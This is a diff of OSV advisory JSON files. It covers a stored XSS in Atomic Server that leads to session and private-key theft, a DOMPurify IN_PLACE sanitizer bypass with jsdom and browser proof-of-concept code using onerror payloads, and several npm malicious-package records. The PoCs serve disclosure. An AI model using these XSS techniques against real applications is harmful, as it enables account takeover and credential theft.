expired invites remain redeemable and valid ones are rejected).","affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.29.0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-pfwx-xjp4-qxcj/GHSA-pfwx-xjp4-qxcj.json"}}],"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69157"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"}],"database_specific":{"cwe_ids":["CWE-306"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:42:33Z","nvd_published_at":"2026-11-17T21:18:12Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-x277-3wcg-g9r2.json b/data/crates.io/GHSA-x277-3wcg-g9r2.json new file mode 100644 index 0000000000..e478e7623a --- /dev/null +++ b/data/crates.io/GHSA-x277-3wcg-g9r2.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-x277-3wcg-g9r2","published":"2026-11-18T20:41:46Z","modified":"2026-11-18T21:00:39.412157302Z","aliases":["CVE-2026-69155"],"summary":"Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover","details":"## Summary\n\nFiles uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser **renders** the file instead of downloading it. The `/download` route sets **no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment`** (CSP exists only on the SPA route), and files are served from the **same origin** as the app UI. An authenticated Agent uploads `evil.html` containing `STORED-XSS-PROOF\n------poc--\n```\n\nResponse `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/-xss.html`.\n\n2. Inspect how the server serves it:\n\n```\n$ curl -D - http://localhost:9883/download/files/-xss.html\nHTTP/1.1 200 OK\ncontent-type: text/html; charset=utf-8\ncontent-disposition: inline; filename=\"-xss.html\"\n# (no Content-Security-Policy, no X-Content-Type-Options)\n```\n\n`text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.\n\n3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.\n\n**Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.\n**Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes.\n\n*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `\n
\n\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=

ok

\nparent out=

ok

\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `
` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)","affected":[{"package":{"name":"dompurify","ecosystem":"npm","purl":"pkg:npm/dompurify"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.17"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.4.16","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json"}}],"references":[{"type":"WEB","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/pull/1672"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575"},{"type":"PACKAGE","url":"https://github.com/cure53/DOMPurify"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.17"}],"database_specific":{"cwe_ids":["CWE-693","CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-10-22T16:24:52Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-mrv2-3pqr-j5jr","published":"2026-10-22T16:24:52Z","modified":"2026-11-19T00:15:04.695368164Z","aliases":["CVE-2026-116803"],"summary":"DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)","details":"### Summary\n\nThe 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an `IN_PLACE` hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an `` that was already loading fires after `sanitize()` returns.\n\nThe README says: \"Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an `` that was already loading when you built the live tree cannot fire after `sanitize()` returns.\" That does not hold when the detached node is not the hook's own node.\n\n### Tested versions\n\n- 3.4.16 (latest) and main at 18f8f0e\n- also 3.4.15, 3.4.12 and 2.5.8\n\njsdom for the matrix below, and Chromium (Playwright) for the event actually firing.\n\n### Details\n\n`src/purify.ts` line 2134 (`dist/purify.cjs.js` line 2009 in 3.4.16), `_handleHookDetachedNode()`:\n\n```js\nif (currentNode === root || getParentNode(currentNode) !== null) {\n return false;\n}\nif (IN_PLACE) {\n _neutralizeSubtree(currentNode);\n}\n```\n\nIt only checks whether `currentNode` lost its parent. When a hook removes `currentNode.parentNode` (or any ancestor), `currentNode` still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in `DOMPurify.removed`, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.\n\n### PoC (jsdom)\n\n```js\nconst { JSDOM } = require('jsdom')\nconst createDOMPurify = require('dompurify')\nconst win = new JSDOM('').window\nconst doc = win.document\n\nfor (const mode of ['self', 'parent', 'nextSibling']) {\n const DOMPurify = createDOMPurify(win)\n doc.body.innerHTML = '
' +\n '

ok

'\n const root = doc.getElementById('root')\n const evil = doc.getElementById('evil')\n\n // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)\n DOMPurify.addHook('afterSanitizeAttributes', (node) => {\n if (node.getAttribute && node.getAttribute('class') === 'bad') {\n if (mode === 'self') node.remove()\n if (mode === 'parent') node.parentNode.remove()\n if (mode === 'nextSibling') node.nextElementSibling.remove()\n }\n })\n\n DOMPurify.sanitize(root, { IN_PLACE: true })\n console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))\n}\n```\n\nOutput on 3.4.16:\n\n```\n3.4.16 self onerror = null\n3.4.16 parent onerror = \"alert(1)\"\n3.4.16 nextSibling onerror = \"alert(1)\"\n```\n\nIn `self` mode the walker still reaches the second image and strips `onerror`. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of `beforeSanitizeElements`, `uponSanitizeElement`, `afterSanitizeElements`, `beforeSanitizeAttributes` and `afterSanitizeAttributes`.\n\n### PoC (browser)\n\nThe same thing in a real page, served from 127.0.0.1 and opened in Chromium:\n\n```html\n\n\n
\n\n```\n\nResult on 3.4.16:\n\n```\nversion=3.4.16\nself out=

ok

\nparent out=

ok

\nfired=[\"parent\"]\n```\n\nThe returned tree is clean in both cases, but the handler on the detached image runs in the page for `parent`.\n\n### Impact\n\nAn app that uses `IN_PLACE` with a hook that removes a wrapper or a nearby element (for example \"drop the whole `
` if its image is not allowed\") gets DOM XSS from attacker markup after `sanitize()` returns. It needs that kind of hook, so it falls under \"input plus an application choice\" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.\n\n### Suggested fix\n\nInstead of only checking `currentNode`, check after each hook call whether anything outside the current node was detached. Two simple options:\n\n- before calling a hook in `IN_PLACE` mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under `root`\n- or, after the walk, neutralize every element that was in the original tree but is no longer connected to `root` (for example by collecting the elements before the walk)","affected":[{"package":{"name":"dompurify","ecosystem":"npm","purl":"pkg:npm/dompurify"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.4.17"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.4.16","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-mrv2-3pqr-j5jr/GHSA-mrv2-3pqr-j5jr.json"}}],"references":[{"type":"WEB","url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/pull/1672"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575"},{"type":"PACKAGE","url":"https://github.com/cure53/DOMPurify"},{"type":"WEB","url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.17"}],"database_specific":{"cwe_ids":["CWE-693","CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-10-22T16:24:52Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-151220.json b/data/npm/MAL-2025-151220.json index 6a0619a9b5..cc2b3bd9dc 100644 --- a/data/npm/MAL-2025-151220.json +++ b/data/npm/MAL-2025-151220.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-151220","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abia-avugi-anina (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abia-avugi-anina","ecosystem":"npm","purl":"pkg:npm/abia-avugi-anina"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abia-avugi-anina/MAL-2025-151220.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:18:06.144980467Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-151220","published":"2025-11-12T16:47:05Z","modified":"2026-11-18T19:45:03.567921595Z","aliases":["GHSA-rp45-vmj7-729c"],"summary":"Malicious code in abia-avugi-anina (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (ee51c30cfea6829a419c9f180a1e650dbd9ca02d585e07a243f6ebc415e053f4)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abia-avugi-anina","ecosystem":"npm","purl":"pkg:npm/abia-avugi-anina"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abia-avugi-anina/MAL-2025-151220.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rp45-vmj7-729c"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:18:06.144980467Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"1840b4e176e64c0612427263e85af96f2ec8b8af81e87acd43b595e7ecfb054c","source":"amazon-inspector"},{"id":"GHSA-rp45-vmj7-729c","import_time":"2026-11-18T19:17:37.796613184Z","modified_time":"2026-11-18T18:22:20Z","sha256":"ee51c30cfea6829a419c9f180a1e650dbd9ca02d585e07a243f6ebc415e053f4","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-151267.json b/data/npm/MAL-2025-151267.json index 4cadbb0b60..91b60f2ed2 100644 --- a/data/npm/MAL-2025-151267.json +++ b/data/npm/MAL-2025-151267.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-151267","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abiba-avbai-ayub (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abiba-avbai-ayub","ecosystem":"npm","purl":"pkg:npm/abiba-avbai-ayub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avbai-ayub/MAL-2025-151267.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:29:36.944296625Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-151267","published":"2025-11-12T16:47:05Z","modified":"2026-11-18T19:45:03.588803352Z","aliases":["GHSA-xr82-65pq-hwqf"],"summary":"Malicious code in abiba-avbai-ayub (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (c1b68e5dc10c3c258c71a6c65341838ae8ef8bdbbfe1a365c175f2484b54243d)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abiba-avbai-ayub","ecosystem":"npm","purl":"pkg:npm/abiba-avbai-ayub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avbai-ayub/MAL-2025-151267.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xr82-65pq-hwqf"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:29:36.944296625Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"d0da0494a93c84f079d44b3fa3ba43e1a0dbd4ad6484f8ada49b085679d2f75e","source":"amazon-inspector"},{"id":"GHSA-xr82-65pq-hwqf","import_time":"2026-11-18T19:17:37.801994057Z","modified_time":"2026-11-18T18:55:26Z","sha256":"c1b68e5dc10c3c258c71a6c65341838ae8ef8bdbbfe1a365c175f2484b54243d","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-151281.json b/data/npm/MAL-2025-151281.json index e9602c32d4..2a25d9c247 100644 --- a/data/npm/MAL-2025-151281.json +++ b/data/npm/MAL-2025-151281.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-151281","published":"2025-11-12T16:47:05Z","modified":"2025-11-12T16:47:05Z","summary":"Malicious code in abiba-avi-aumaunnaaa (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"abiba-avi-aumaunnaaa","ecosystem":"npm","purl":"pkg:npm/abiba-avi-aumaunnaaa"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avi-aumaunnaaa/MAL-2025-151281.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:15:17.417452005Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-151281","published":"2025-11-12T16:47:05Z","modified":"2026-11-18T19:45:03.579706466Z","aliases":["GHSA-f4pf-fffj-pv2f"],"summary":"Malicious code in abiba-avi-aumaunnaaa (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (ff5d56d216a770e94b74c7440d43ff423b7a33359af2b8169bc36b2c5b6d5d23)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"abiba-avi-aumaunnaaa","ecosystem":"npm","purl":"pkg:npm/abiba-avi-aumaunnaaa"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/abiba-avi-aumaunnaaa/MAL-2025-151281.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f4pf-fffj-pv2f"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T17:15:17.417452005Z","modified_time":"2025-11-12T16:47:05Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"5070d121d275849e93f54e2f46c4274b668cb642f977f4181c65aae1653d1cf3","source":"amazon-inspector"},{"id":"GHSA-f4pf-fffj-pv2f","import_time":"2026-11-18T19:17:37.78362058Z","modified_time":"2026-11-18T18:57:10Z","sha256":"ff5d56d216a770e94b74c7440d43ff423b7a33359af2b8169bc36b2c5b6d5d23","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170610.json b/data/npm/MAL-2025-170610.json index 9b1dcb77dc..9d8de3fdaa 100644 --- a/data/npm/MAL-2025-170610.json +++ b/data/npm/MAL-2025-170610.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170610","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in aamirhafiz (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"aamirhafiz","ecosystem":"npm","purl":"pkg:npm/aamirhafiz"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aamirhafiz/MAL-2025-170610.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:06.336038597Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170610","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:04.208843814Z","aliases":["GHSA-8rm4-r7pm-8v9r"],"summary":"Malicious code in aamirhafiz (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (b7feb04bef2307f987f1260d05acc460398577ffa0417bf973cd6cbe2290fdeb)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"aamirhafiz","ecosystem":"npm","purl":"pkg:npm/aamirhafiz"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/aamirhafiz/MAL-2025-170610.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8rm4-r7pm-8v9r"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:06.336038597Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"6ebc7084a6db8c8be5a16944f348f5b2a1b615fd64c4a9f19d5b3da5a69580db","source":"amazon-inspector"},{"id":"GHSA-8rm4-r7pm-8v9r","import_time":"2026-11-18T19:17:37.779523473Z","modified_time":"2026-11-18T18:19:34Z","sha256":"b7feb04bef2307f987f1260d05acc460398577ffa0417bf973cd6cbe2290fdeb","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/npm/MAL-2025-170656.json b/data/npm/MAL-2025-170656.json index df6d72a469..984edaf358 100644 --- a/data/npm/MAL-2025-170656.json +++ b/data/npm/MAL-2025-170656.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"MAL-2025-170656","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adilfaheem (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adilfaheem","ecosystem":"npm","purl":"pkg:npm/adilfaheem"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilfaheem/MAL-2025-170656.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:26.261568446Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2025-170656","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.542285688Z","aliases":["GHSA-qfc8-px48-xx9p"],"summary":"Malicious code in adilfaheem (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (df3ec428f89c77a35982ee24b679b829350d4b8dc792d4a1b27967e6fa3f9366)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (1304d250e0ee8f6751d9d33bb94955ea0c4e926447da8c886606196b552221db)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing 